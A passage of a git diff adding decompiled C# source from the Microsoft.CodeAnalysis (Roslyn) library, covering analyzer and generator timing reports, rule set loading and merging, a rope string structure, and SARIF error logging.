=> entry.Value.Ticks) descending + select kvp) + { + double num2 = item.Sum((KeyValuePair kvp) => kvp.Value.TotalSeconds); + int percentage = (int)(num2 * 100.0 / num); + consoleOutput.WriteLine(GetColumnEntry(num2, percentage, item.Key.FullName, culture)); + foreach (KeyValuePair item2 in item.OrderByDescending((KeyValuePair kvp) => kvp.Value)) + { + num2 = item2.Value.TotalSeconds; + percentage = (int)(num2 * 100.0 / num); + string arg = string.Join(", ", from id in item2.Key.SupportedDiagnostics.Select((DiagnosticDescriptor d) => d.Id).Distinct() + orderby id + select id); + string name = $" {item2.Key} ({arg})"; + consoleOutput.WriteLine(GetColumnEntry(num2, percentage, name, culture)); + } + consoleOutput.WriteLine(); + } + } + + private static void ReportGeneratorExecutionTime(TextWriter consoleOutput, GeneratorDriverTimingInfo driverTimingInfo, CultureInfo culture) + { + if (driverTimingInfo.GeneratorTimes.IsEmpty) + { + return; + } + double totalSeconds = driverTimingInfo.ElapsedTime.TotalSeconds; + consoleOutput.WriteLine(string.Format(CodeAnalysisResources.GeneratorTotalExecutionTime, totalSeconds.ToString("##0.000", culture))); + consoleOutput.WriteLine(); + consoleOutput.WriteLine(GetColumnHeader(CodeAnalysisResources.GeneratorNameColumnHeader)); + foreach (IGrouping item in from t in driverTimingInfo.GeneratorTimes + group t by t.Generator.GetGeneratorType().Assembly into kvp + orderby kvp.Sum((GeneratorTimingInfo entry) => entry.ElapsedTime.Ticks) descending + select kvp) + { + double num = item.Sum((GeneratorTimingInfo x) => x.ElapsedTime.TotalSeconds); + int percentage = (int)(num * 100.0 / totalSeconds); + consoleOutput.WriteLine(GetColumnEntry(num, percentage, item.Key.FullName, culture)); + foreach (GeneratorTimingInfo item2 in item.OrderByDescending((GeneratorTimingInfo x) => x.ElapsedTime)) + { + num = item2.ElapsedTime.TotalSeconds; + percentage = (int)(num * 100.0 / totalSeconds); + consoleOutput.WriteLine(GetColumnEntry(num, percentage, " " + item2.Generator.GetGeneratorType().FullName, culture)); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReportDiagnostic.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReportDiagnostic.cs new file mode 100644 index 0000000..27a718c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReportDiagnostic.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis; + +public enum ReportDiagnostic +{ + Default, + Error, + Warn, + Info, + Hidden, + Suppress +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RequiredLanguageVersion.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RequiredLanguageVersion.cs new file mode 100644 index 0000000..cda6b33 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RequiredLanguageVersion.cs @@ -0,0 +1,13 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal abstract class RequiredLanguageVersion : IFormattable +{ + public abstract override string ToString(); + + string IFormattable.ToString(string? format, IFormatProvider? formatProvider) + { + return ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ResourceDescription.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ResourceDescription.cs new file mode 100644 index 0000000..07f8d3f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ResourceDescription.cs @@ -0,0 +1,109 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Reflection; +using System.Security.Cryptography; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis; + +public sealed class ResourceDescription : IFileReference +{ + private sealed class ResourceHashProvider : CryptographicHashProvider + { + private readonly ResourceDescription _resource; + + public ResourceHashProvider(ResourceDescription resource) + { + _resource = resource; + } + + internal override ImmutableArray ComputeHash(HashAlgorithm algorithm) + { + try + { + using Stream stream = _resource.DataProvider(); + if (stream == null) + { + throw new InvalidOperationException(CodeAnalysisResources.ResourceDataProviderShouldReturnNonNullStream); + } + return ImmutableArray.CreateRange(algorithm.ComputeHash(stream)); + } + catch (Exception inner) + { + throw new ResourceException(_resource.FileName, inner); + } + } + } + + internal readonly string ResourceName; + + internal readonly string? FileName; + + internal readonly bool IsPublic; + + internal readonly Func DataProvider; + + private readonly CryptographicHashProvider _hashes; + + internal bool IsEmbedded => FileName == null; + + string? IFileReference.FileName => FileName; + + bool IFileReference.HasMetadata => false; + + public ResourceDescription(string resourceName, Func dataProvider, bool isPublic) + : this(resourceName, null, dataProvider, isPublic, isEmbedded: true, checkArgs: true) + { + } + + public ResourceDescription(string resourceName, string? fileName, Func dataProvider, bool isPublic) + : this(resourceName, fileName, dataProvider, isPublic, isEmbedded: false, checkArgs: true) + { + } + + internal ResourceDescription(string resourceName, string? fileName, Func dataProvider, bool isPublic, bool isEmbedded, bool checkArgs) + { + if (checkArgs) + { + if (dataProvider == null) + { + throw new ArgumentNullException("dataProvider"); + } + if (resourceName == null) + { + throw new ArgumentNullException("resourceName"); + } + if (!MetadataHelpers.IsValidMetadataIdentifier(resourceName)) + { + throw new ArgumentException(CodeAnalysisResources.EmptyOrInvalidResourceName, "resourceName"); + } + if (!isEmbedded) + { + if (fileName == null) + { + throw new ArgumentNullException("fileName"); + } + if (!MetadataHelpers.IsValidMetadataFileName(fileName)) + { + throw new ArgumentException(CodeAnalysisResources.EmptyOrInvalidFileName, "fileName"); + } + } + } + ResourceName = resourceName; + DataProvider = dataProvider; + FileName = (isEmbedded ? null : fileName); + IsPublic = isPublic; + _hashes = new ResourceHashProvider(this); + } + + internal ManagedResource ToManagedResource() + { + return new ManagedResource(ResourceName, IsPublic, IsEmbedded ? DataProvider : null, IsEmbedded ? null : this, 0u); + } + + ImmutableArray IFileReference.GetHashValue(AssemblyHashAlgorithm algorithmId) + { + return _hashes.GetHash(algorithmId); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ResourceException.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ResourceException.cs new file mode 100644 index 0000000..4a38f8c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ResourceException.cs @@ -0,0 +1,11 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal sealed class ResourceException : Exception +{ + internal ResourceException(string? name, Exception? inner = null) + : base(name, inner) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Rope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Rope.cs new file mode 100644 index 0000000..dadb11d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Rope.cs @@ -0,0 +1,226 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal abstract class Rope +{ + private sealed class StringRope : Rope + { + private readonly string _value; + + public override int Length => _value.Length; + + public StringRope(string value) + { + _value = value; + } + + public override string ToString() + { + return _value; + } + + public override string ToString(int maxLength) + { + int wrote; + return ToString(maxLength, out wrote); + } + + public string ToString(int maxLength, out int wrote) + { + if (maxLength < 0) + { + throw ExceptionUtilities.UnexpectedValue("maxLength"); + } + wrote = Math.Min(maxLength, _value.Length); + return _value.Substring(0, wrote); + } + + protected override IEnumerable GetChars() + { + return _value; + } + } + + private sealed class ConcatRope : Rope + { + private readonly Rope _left; + + private readonly Rope _right; + + public override int Length { get; } + + public ConcatRope(Rope left, Rope right) + { + _left = left; + _right = right; + Length = checked(left.Length + right.Length); + } + + public override string ToString() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + Stack stack = new Stack(); + stack.Push(this); + while (stack.Count != 0) + { + Rope rope = stack.Pop(); + if (!(rope is StringRope stringRope)) + { + if (!(rope is ConcatRope concatRope)) + { + throw ExceptionUtilities.UnexpectedValue(rope.GetType().Name); + } + stack.Push(concatRope._right); + stack.Push(concatRope._left); + } + else + { + instance.Builder.Append(stringRope.ToString()); + } + } + return instance.ToStringAndFree(); + } + + public override string ToString(int maxLength) + { + if (maxLength < 0) + { + throw ExceptionUtilities.UnexpectedValue("maxLength"); + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + Stack stack = new Stack(); + stack.Push(this); + int num = maxLength; + while (stack.Count != 0 && num > 0) + { + Rope rope = stack.Pop(); + if (!(rope is StringRope stringRope)) + { + if (!(rope is ConcatRope concatRope)) + { + throw ExceptionUtilities.UnexpectedValue(rope.GetType().Name); + } + stack.Push(concatRope._right); + stack.Push(concatRope._left); + } + else + { + instance.Builder.Append(stringRope.ToString(num, out var wrote)); + num -= wrote; + } + } + return instance.ToStringAndFree(); + } + + protected override IEnumerable GetChars() + { + Stack stack = new Stack(); + stack.Push(this); + while (stack.Count != 0) + { + Rope rope = stack.Pop(); + if (!(rope is StringRope stringRope)) + { + if (!(rope is ConcatRope concatRope)) + { + throw ExceptionUtilities.UnexpectedValue(rope.GetType().Name); + } + stack.Push(concatRope._right); + stack.Push(concatRope._left); + } + else + { + string text = stringRope.ToString(); + for (int i = 0; i < text.Length; i++) + { + yield return text[i]; + } + } + } + } + } + + public static readonly Rope Empty = ForString(""); + + public abstract int Length { get; } + + public abstract override string ToString(); + + public abstract string ToString(int maxLength); + + protected abstract IEnumerable GetChars(); + + private Rope() + { + } + + public static Rope ForString(string s) + { + if (s == null) + { + throw new ArgumentNullException("s"); + } + return new StringRope(s); + } + + public static Rope Concat(Rope r1, Rope r2) + { + if (r1 == null) + { + throw new ArgumentNullException("r1"); + } + if (r2 == null) + { + throw new ArgumentNullException("r2"); + } + if (r1.Length != 0) + { + if (r2.Length != 0) + { + if (checked(r1.Length + r2.Length) >= 32) + { + return new ConcatRope(r1, r2); + } + return ForString(r1.ToString() + r2.ToString()); + } + return r1; + } + return r2; + } + + public override bool Equals(object? obj) + { + if (!(obj is Rope rope) || Length != rope.Length) + { + return false; + } + if (Length == 0) + { + return true; + } + IEnumerator enumerator = GetChars().GetEnumerator(); + IEnumerator enumerator2 = rope.GetChars().GetEnumerator(); + while (enumerator.MoveNext() && enumerator2.MoveNext()) + { + if (enumerator.Current != enumerator2.Current) + { + return false; + } + } + return true; + } + + public override int GetHashCode() + { + int num = Length; + foreach (char @char in GetChars()) + { + num = Hash.Combine((int)@char, num); + } + return num; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuleSet.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuleSet.cs new file mode 100644 index 0000000..5416977 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuleSet.cs @@ -0,0 +1,240 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public class RuleSet +{ + private readonly string _filePath; + + private readonly ReportDiagnostic _generalDiagnosticOption; + + private readonly ImmutableDictionary _specificDiagnosticOptions; + + private readonly ImmutableArray _includes; + + public string FilePath => _filePath; + + public ReportDiagnostic GeneralDiagnosticOption => _generalDiagnosticOption; + + public ImmutableDictionary SpecificDiagnosticOptions => _specificDiagnosticOptions; + + public ImmutableArray Includes => _includes; + + public RuleSet(string filePath, ReportDiagnostic generalOption, ImmutableDictionary specificOptions, ImmutableArray includes) + { + _filePath = filePath; + _generalDiagnosticOption = generalOption; + _specificDiagnosticOptions = (ImmutableDictionary)((specificOptions == null) ? ((IDictionary)ImmutableDictionary.Empty) : ((IDictionary)specificOptions)); + _includes = includes.NullToEmpty(); + } + + public RuleSet? WithEffectiveAction(ReportDiagnostic action) + { + if (!_includes.IsEmpty) + { + throw new ArgumentException("Effective action cannot be applied to rulesets with Includes"); + } + switch (action) + { + case ReportDiagnostic.Default: + return this; + case ReportDiagnostic.Suppress: + return null; + case ReportDiagnostic.Error: + case ReportDiagnostic.Warn: + case ReportDiagnostic.Info: + case ReportDiagnostic.Hidden: + { + ReportDiagnostic generalOption = ((_generalDiagnosticOption != ReportDiagnostic.Default) ? action : ReportDiagnostic.Default); + ImmutableDictionary.Builder builder = _specificDiagnosticOptions.ToBuilder(); + foreach (KeyValuePair specificDiagnosticOption in _specificDiagnosticOptions) + { + if (specificDiagnosticOption.Value != ReportDiagnostic.Suppress && specificDiagnosticOption.Value != ReportDiagnostic.Default) + { + builder[specificDiagnosticOption.Key] = action; + } + } + return new RuleSet(FilePath, generalOption, builder.ToImmutable(), _includes); + } + default: + return null; + } + } + + private RuleSet GetEffectiveRuleSet(HashSet includedRulesetPaths) + { + ReportDiagnostic generalDiagnosticOption = _generalDiagnosticOption; + Dictionary dictionary = new Dictionary(); + if (_includes.IsEmpty) + { + return this; + } + ImmutableArray.Enumerator enumerator = _includes.GetEnumerator(); + while (enumerator.MoveNext()) + { + RuleSetInclude current = enumerator.Current; + if (current.Action == ReportDiagnostic.Suppress) + { + continue; + } + RuleSet ruleSet = current.LoadRuleSet(this); + if (ruleSet == null || includedRulesetPaths.Contains(ruleSet.FilePath.ToLowerInvariant())) + { + continue; + } + includedRulesetPaths.Add(ruleSet.FilePath.ToLowerInvariant()); + RuleSet effectiveRuleSet = ruleSet.GetEffectiveRuleSet(includedRulesetPaths); + effectiveRuleSet = effectiveRuleSet.WithEffectiveAction(current.Action); + if (IsStricterThan(effectiveRuleSet.GeneralDiagnosticOption, generalDiagnosticOption)) + { + generalDiagnosticOption = effectiveRuleSet.GeneralDiagnosticOption; + } + foreach (KeyValuePair specificDiagnosticOption in effectiveRuleSet.SpecificDiagnosticOptions) + { + if (dictionary.TryGetValue(specificDiagnosticOption.Key, out var value)) + { + if (IsStricterThan(specificDiagnosticOption.Value, value)) + { + dictionary[specificDiagnosticOption.Key] = specificDiagnosticOption.Value; + } + } + else + { + dictionary.Add(specificDiagnosticOption.Key, specificDiagnosticOption.Value); + } + } + } + foreach (KeyValuePair specificDiagnosticOption2 in _specificDiagnosticOptions) + { + if (dictionary.ContainsKey(specificDiagnosticOption2.Key)) + { + dictionary[specificDiagnosticOption2.Key] = specificDiagnosticOption2.Value; + } + else + { + dictionary.Add(specificDiagnosticOption2.Key, specificDiagnosticOption2.Value); + } + } + return new RuleSet(_filePath, generalDiagnosticOption, dictionary.ToImmutableDictionary(), ImmutableArray.Empty); + } + + private ImmutableArray GetEffectiveIncludes() + { + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(); + GetEffectiveIncludesCore(builder); + return builder.ToImmutable(); + } + + private void GetEffectiveIncludesCore(ImmutableArray.Builder arrayBuilder) + { + arrayBuilder.Add(FilePath); + ImmutableArray.Enumerator enumerator = _includes.GetEnumerator(); + while (enumerator.MoveNext()) + { + RuleSet ruleSet = enumerator.Current.LoadRuleSet(this); + if (ruleSet != null && !arrayBuilder.Contains(ruleSet.FilePath, StringComparer.OrdinalIgnoreCase)) + { + ruleSet.GetEffectiveIncludesCore(arrayBuilder); + } + } + } + + private static bool IsStricterThan(ReportDiagnostic action1, ReportDiagnostic action2) + { + switch (action2) + { + case ReportDiagnostic.Suppress: + return true; + case ReportDiagnostic.Default: + if (action1 != ReportDiagnostic.Warn && action1 != ReportDiagnostic.Error && action1 != ReportDiagnostic.Info) + { + return action1 == ReportDiagnostic.Hidden; + } + return true; + case ReportDiagnostic.Hidden: + if (action1 != ReportDiagnostic.Warn && action1 != ReportDiagnostic.Error) + { + return action1 == ReportDiagnostic.Info; + } + return true; + case ReportDiagnostic.Info: + if (action1 != ReportDiagnostic.Warn) + { + return action1 == ReportDiagnostic.Error; + } + return true; + case ReportDiagnostic.Warn: + return action1 == ReportDiagnostic.Error; + case ReportDiagnostic.Error: + return false; + default: + return false; + } + } + + public static RuleSet LoadEffectiveRuleSetFromFile(string filePath) + { + return RuleSetProcessor.LoadFromFile(filePath).GetEffectiveRuleSet(new HashSet()); + } + + public static ImmutableArray GetEffectiveIncludesFromFile(string filePath) + { + return RuleSetProcessor.LoadFromFile(filePath)?.GetEffectiveIncludes() ?? ImmutableArray.Empty; + } + + public static ReportDiagnostic GetDiagnosticOptionsFromRulesetFile(string? rulesetFileFullPath, out Dictionary specificDiagnosticOptions) + { + return GetDiagnosticOptionsFromRulesetFile(rulesetFileFullPath, out specificDiagnosticOptions, null, null); + } + + internal static ReportDiagnostic GetDiagnosticOptionsFromRulesetFile(string? rulesetFileFullPath, out Dictionary diagnosticOptions, IList? diagnosticsOpt, CommonMessageProvider? messageProviderOpt) + { + diagnosticOptions = new Dictionary(); + if (rulesetFileFullPath == null) + { + return ReportDiagnostic.Default; + } + return GetDiagnosticOptionsFromRulesetFile(diagnosticOptions, rulesetFileFullPath, diagnosticsOpt, messageProviderOpt); + } + + private static ReportDiagnostic GetDiagnosticOptionsFromRulesetFile(Dictionary diagnosticOptions, string resolvedPath, IList? diagnosticsOpt, CommonMessageProvider? messageProviderOpt) + { + ReportDiagnostic result = ReportDiagnostic.Default; + try + { + RuleSet ruleSet = LoadEffectiveRuleSetFromFile(resolvedPath); + result = ruleSet.GeneralDiagnosticOption; + foreach (KeyValuePair specificDiagnosticOption in ruleSet.SpecificDiagnosticOptions) + { + diagnosticOptions.Add(specificDiagnosticOption.Key, specificDiagnosticOption.Value); + } + } + catch (InvalidRuleSetException ex) + { + if (diagnosticsOpt != null && messageProviderOpt != null) + { + diagnosticsOpt.Add(Diagnostic.Create(messageProviderOpt, messageProviderOpt.ERR_CantReadRulesetFile, resolvedPath, ex.Message)); + } + } + catch (IOException ex2) + { + if (ex2 is FileNotFoundException || ex2.GetType().Name == "DirectoryNotFoundException") + { + if (diagnosticsOpt != null && messageProviderOpt != null) + { + diagnosticsOpt.Add(Diagnostic.Create(messageProviderOpt, messageProviderOpt.ERR_CantReadRulesetFile, resolvedPath, new CodeAnalysisResourcesLocalizableErrorArgument("FileNotFound"))); + } + } + else if (diagnosticsOpt != null && messageProviderOpt != null) + { + diagnosticsOpt.Add(Diagnostic.Create(messageProviderOpt, messageProviderOpt.ERR_CantReadRulesetFile, resolvedPath, ex2.Message)); + } + } + return result; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuleSetInclude.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuleSetInclude.cs new file mode 100644 index 0000000..ffd5194 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuleSetInclude.cs @@ -0,0 +1,85 @@ +using System; +using System.IO; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public class RuleSetInclude +{ + private readonly string _includePath; + + private readonly ReportDiagnostic _action; + + public string IncludePath => _includePath; + + public ReportDiagnostic Action => _action; + + public RuleSetInclude(string includePath, ReportDiagnostic action) + { + _includePath = includePath; + _action = action; + } + + public RuleSet? LoadRuleSet(RuleSet parent) + { + RuleSet result = null; + string includePath = _includePath; + try + { + includePath = GetIncludePath(parent); + if (includePath == null) + { + return null; + } + result = RuleSetProcessor.LoadFromFile(includePath); + } + catch (FileNotFoundException) + { + } + catch (Exception ex2) + { + throw new InvalidRuleSetException(string.Format(CodeAnalysisResources.InvalidRuleSetInclude, includePath, ex2.Message)); + } + return result; + } + + private string? GetIncludePath(RuleSet parent) + { + string text = resolveIncludePath(_includePath, parent?.FilePath); + if (text == null) + { + return null; + } + return Path.GetFullPath(text); + static string? resolveIncludePath(string includePath, string? parentRulesetPath) + { + string text2 = resolveIncludePathCore(includePath, parentRulesetPath); + if (text2 == null && PathUtilities.IsUnixLikePlatform) + { + includePath = includePath.Replace('\\', Path.DirectorySeparatorChar); + text2 = resolveIncludePathCore(includePath, parentRulesetPath); + } + return text2; + } + static string? resolveIncludePathCore(string includePath, string? parentRulesetPath) + { + includePath = Environment.ExpandEnvironmentVariables(includePath); + if (Path.IsPathRooted(includePath)) + { + if (File.Exists(includePath)) + { + return includePath; + } + } + else if (!string.IsNullOrEmpty(parentRulesetPath)) + { + includePath = PathUtilities.CombinePathsUnchecked(Path.GetDirectoryName(parentRulesetPath) ?? "", includePath); + if (File.Exists(includePath)) + { + return includePath; + } + } + return null; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuleSetProcessor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuleSetProcessor.cs new file mode 100644 index 0000000..903d621 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuleSetProcessor.cs @@ -0,0 +1,208 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Xml; +using System.Xml.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal class RuleSetProcessor +{ + private const string RuleSetNodeName = "RuleSet"; + + private const string RuleSetNameAttributeName = "Name"; + + private const string RuleSetToolsVersionAttributeName = "ToolsVersion"; + + private const string RulesNodeName = "Rules"; + + private const string RulesAnalyzerIdAttributeName = "AnalyzerId"; + + private const string RulesNamespaceAttributeName = "RuleNamespace"; + + private const string RuleNodeName = "Rule"; + + private const string RuleIdAttributeName = "Id"; + + private const string IncludeNodeName = "Include"; + + private const string IncludePathAttributeName = "Path"; + + private const string IncludeAllNodeName = "IncludeAll"; + + private const string RuleActionAttributeName = "Action"; + + private const string RuleActionNoneValue = "None"; + + private const string RuleActionHiddenValue = "Hidden"; + + private const string RuleActionInfoValue = "Info"; + + private const string RuleActionWarningValue = "Warning"; + + private const string RuleActionErrorValue = "Error"; + + private const string RuleActionDefaultValue = "Default"; + + public static RuleSet LoadFromFile(string filePath) + { + filePath = FileUtilities.NormalizeAbsolutePath(filePath); + XmlReaderSettings defaultXmlReaderSettings = GetDefaultXmlReaderSettings(); + XDocument xDocument = null; + XElement ruleSetNode = null; + using (Stream input = FileUtilities.OpenRead(filePath)) + { + using XmlReader reader = XmlReader.Create(input, defaultXmlReaderSettings); + try + { + xDocument = XDocument.Load(reader); + } + catch (Exception ex) + { + throw new InvalidRuleSetException(ex.Message); + } + ruleSetNode = xDocument.Elements("RuleSet").ToList()[0]; + } + return ReadRuleSet(ruleSetNode, filePath); + } + + private static RuleSet ReadRuleSet(XElement ruleSetNode, string filePath) + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + ReportDiagnostic generalOption = ReportDiagnostic.Default; + ImmutableArray.Builder builder2 = ImmutableArray.CreateBuilder(); + ValidateAttribute(ruleSetNode, "ToolsVersion"); + ValidateAttribute(ruleSetNode, "Name"); + foreach (XElement item in ruleSetNode.Elements()) + { + if (item.Name == "Rules") + { + foreach (KeyValuePair item2 in ReadRules(item)) + { + string key = item2.Key; + ReportDiagnostic value = item2.Value; + if (builder.TryGetValue(key, out var value2)) + { + if (value2 != value) + { + throw new InvalidRuleSetException(string.Format(CodeAnalysisResources.RuleSetHasDuplicateRules, key, value2, value)); + } + } + else + { + builder.Add(key, value); + } + } + } + else if (item.Name == "Include") + { + builder2.Add(ReadRuleSetInclude(item)); + } + else if (item.Name == "IncludeAll") + { + generalOption = ReadIncludeAll(item); + } + } + return new RuleSet(filePath, generalOption, builder.ToImmutable(), builder2.ToImmutable()); + } + + private static List> ReadRules(XElement rulesNode) + { + ReadNonEmptyAttribute(rulesNode, "AnalyzerId"); + ReadNonEmptyAttribute(rulesNode, "RuleNamespace"); + List> list = new List>(); + foreach (XElement item in rulesNode.Elements()) + { + if (item.Name == "Rule") + { + list.Add(ReadRule(item)); + } + } + return list; + } + + private static KeyValuePair ReadRule(XElement ruleNode) + { + string key = ReadNonEmptyAttribute(ruleNode, "Id"); + ReportDiagnostic value = ReadAction(ruleNode, allowDefault: false); + return new KeyValuePair(key, value); + } + + private static RuleSetInclude ReadRuleSetInclude(XElement includeNode) + { + string includePath = ReadNonEmptyAttribute(includeNode, "Path"); + ReportDiagnostic action = ReadAction(includeNode, allowDefault: true); + return new RuleSetInclude(includePath, action); + } + + private static ReportDiagnostic ReadAction(XElement node, bool allowDefault) + { + string text = ReadNonEmptyAttribute(node, "Action"); + if (string.Equals(text, "Warning")) + { + return ReportDiagnostic.Warn; + } + if (string.Equals(text, "Error")) + { + return ReportDiagnostic.Error; + } + if (string.Equals(text, "Info")) + { + return ReportDiagnostic.Info; + } + if (string.Equals(text, "Hidden")) + { + return ReportDiagnostic.Hidden; + } + if (string.Equals(text, "None")) + { + return ReportDiagnostic.Suppress; + } + if (string.Equals(text, "Default") && allowDefault) + { + return ReportDiagnostic.Default; + } + throw new InvalidRuleSetException(string.Format(CodeAnalysisResources.RuleSetBadAttributeValue, "Action", text)); + } + + private static ReportDiagnostic ReadIncludeAll(XElement includeAllNode) + { + return ReadAction(includeAllNode, allowDefault: false); + } + + private static string ReadNonEmptyAttribute(XElement node, string attributeName) + { + XAttribute xAttribute = node.Attribute(attributeName); + if (xAttribute == null) + { + throw new InvalidRuleSetException(string.Format(CodeAnalysisResources.RuleSetMissingAttribute, node.Name, attributeName)); + } + if (string.IsNullOrEmpty(xAttribute.Value)) + { + throw new InvalidRuleSetException(string.Format(CodeAnalysisResources.RuleSetBadAttributeValue, attributeName, xAttribute.Value)); + } + return xAttribute.Value; + } + + private static XmlReaderSettings GetDefaultXmlReaderSettings() + { + return new XmlReaderSettings + { + CheckCharacters = true, + CloseInput = true, + ConformanceLevel = ConformanceLevel.Document, + IgnoreComments = true, + IgnoreProcessingInstructions = true, + IgnoreWhitespace = true, + DtdProcessing = DtdProcessing.Prohibit + }; + } + + private static void ValidateAttribute(XElement node, string attributeName) + { + ReadNonEmptyAttribute(node, attributeName); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuntimeCapability.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuntimeCapability.cs new file mode 100644 index 0000000..933b6e9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RuntimeCapability.cs @@ -0,0 +1,12 @@ +namespace Microsoft.CodeAnalysis; + +public enum RuntimeCapability +{ + ByRefFields = 1, + CovariantReturnsOfClasses, + DefaultImplementationsOfInterfaces, + NumericIntPtr, + UnmanagedSignatureCallingConvention, + VirtualStaticsInInterfaces, + InlineArrayTypes +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifDiagnosticComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifDiagnosticComparer.cs new file mode 100644 index 0000000..c976743 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifDiagnosticComparer.cs @@ -0,0 +1,40 @@ +using System.Collections.Generic; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SarifDiagnosticComparer : IEqualityComparer +{ + public static readonly SarifDiagnosticComparer Instance = new SarifDiagnosticComparer(); + + private SarifDiagnosticComparer() + { + } + + public bool Equals(DiagnosticDescriptor? x, DiagnosticDescriptor? y) + { + if (x == y) + { + return true; + } + if (x == null || y == null) + { + return false; + } + if (x.Category == y.Category && x.DefaultSeverity == y.DefaultSeverity && x.Description.Equals(y.Description) && x.HelpLinkUri == y.HelpLinkUri && x.Id == y.Id && x.IsEnabledByDefault == y.IsEnabledByDefault && x.Title.Equals(y.Title)) + { + return x.ImmutableCustomTags.SequenceEqual(y.ImmutableCustomTags); + } + return false; + } + + public int GetHashCode(DiagnosticDescriptor obj) + { + if (obj == null) + { + return 0; + } + return Hash.Combine(obj.Category.GetHashCode(), Hash.Combine(((int)obj.DefaultSeverity).GetHashCode(), Hash.Combine(obj.Description.GetHashCode(), Hash.Combine(obj.HelpLinkUri.GetHashCode(), Hash.Combine(obj.Id.GetHashCode(), Hash.Combine(obj.IsEnabledByDefault.GetHashCode(), Hash.Combine(obj.Title.GetHashCode(), Hash.CombineValues(obj.ImmutableCustomTags)))))))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifErrorLogger.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifErrorLogger.cs new file mode 100644 index 0000000..be0afa1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SarifErrorLogger.cs @@ -0,0 +1,109 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Net; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal abstract class SarifErrorLogger : ErrorLogger, IDisposable +{ + private static readonly Uri s_fileRoot = new Uri("file:///"); + + protected JsonWriter _writer { get; } + + protected CultureInfo _culture { get; } + + protected abstract string PrimaryLocationPropertyName { get; } + + protected SarifErrorLogger(Stream stream, CultureInfo culture) + { + _writer = new JsonWriter(new StreamWriter(stream)); + _culture = culture; + } + + protected abstract void WritePhysicalLocation(Location diagnosticLocation); + + public virtual void Dispose() + { + _writer.Dispose(); + } + + protected void WriteRegion(FileLinePositionSpan span) + { + _writer.WriteObjectStart("region"); + _writer.Write("startLine", span.StartLinePosition.Line + 1); + _writer.Write("startColumn", span.StartLinePosition.Character + 1); + _writer.Write("endLine", span.EndLinePosition.Line + 1); + _writer.Write("endColumn", span.EndLinePosition.Character + 1); + _writer.WriteObjectEnd(); + } + + protected static string GetLevel(DiagnosticSeverity severity) + { + switch (severity) + { + case DiagnosticSeverity.Hidden: + case DiagnosticSeverity.Info: + return "note"; + case DiagnosticSeverity.Error: + return 